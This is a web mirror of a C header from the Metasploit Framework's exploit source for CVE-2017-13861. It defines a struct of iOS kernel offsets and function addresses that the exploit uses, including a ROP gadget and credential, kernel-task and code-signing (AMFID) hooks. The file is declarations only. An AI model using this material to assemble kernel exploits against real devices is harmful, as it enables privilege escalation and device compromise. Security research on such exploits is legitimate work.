CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/liboffsetfinder64/getoffsets.h
Views: 11784
1
#ifndef OFFSETS_H
2
#define OFFSETS_H
3
4
#include <stdint.h>
5
6
typedef uint64_t kptr_t;
7
8
typedef struct
9
{
10
kptr_t base;
11
// Structure offsets
12
kptr_t sizeof_task;
13
kptr_t task_itk_self;
14
kptr_t task_itk_registered;
15
kptr_t task_bsd_info;
16
kptr_t proc_ucred;
17
kptr_t vm_map_hdr;
18
kptr_t ipc_space_is_task;
19
kptr_t realhost_special;
20
kptr_t iouserclient_ipc;
21
kptr_t vtab_get_retain_count;
22
kptr_t vtab_get_external_trap_for_index;
23
// Data
24
kptr_t zone_map;
25
kptr_t kernel_map;
26
kptr_t kernel_task;
27
kptr_t realhost;
28
// Code
29
kptr_t copyin;
30
kptr_t copyout;
31
kptr_t chgproccnt;
32
kptr_t kauth_cred_ref;
33
kptr_t ipc_port_alloc_special;
34
kptr_t ipc_kobject_set;
35
kptr_t ipc_port_make_send;
36
kptr_t osserializer_serialize;
37
kptr_t rop_ldr_x0_x0_0x10;
38
// Remount
39
kptr_t root_vnode;
40
// AMFID stuff
41
kptr_t vfs_context_current;
42
kptr_t vnode_getfromfd;
43
kptr_t vnode_getattr;
44
kptr_t vnode_put;
45
kptr_t csblob_ent_dict_set;
46
kptr_t sha1_init;
47
kptr_t sha1_update;
48
kptr_t sha1_final;
49
// Extra
50
kptr_t proc_find;
51
kptr_t proc_name;
52
kptr_t proc_rele;
53
} offsets_t;
54
55
#ifdef __cplusplus
56
extern "C"
57
#endif
58
offsets_t* get_offsets();
59
#ifdef __cplusplus
60
extern "C"
61
#endif
62
kptr_t find_symbol(const char* symbol);
63
64
#endif
65
66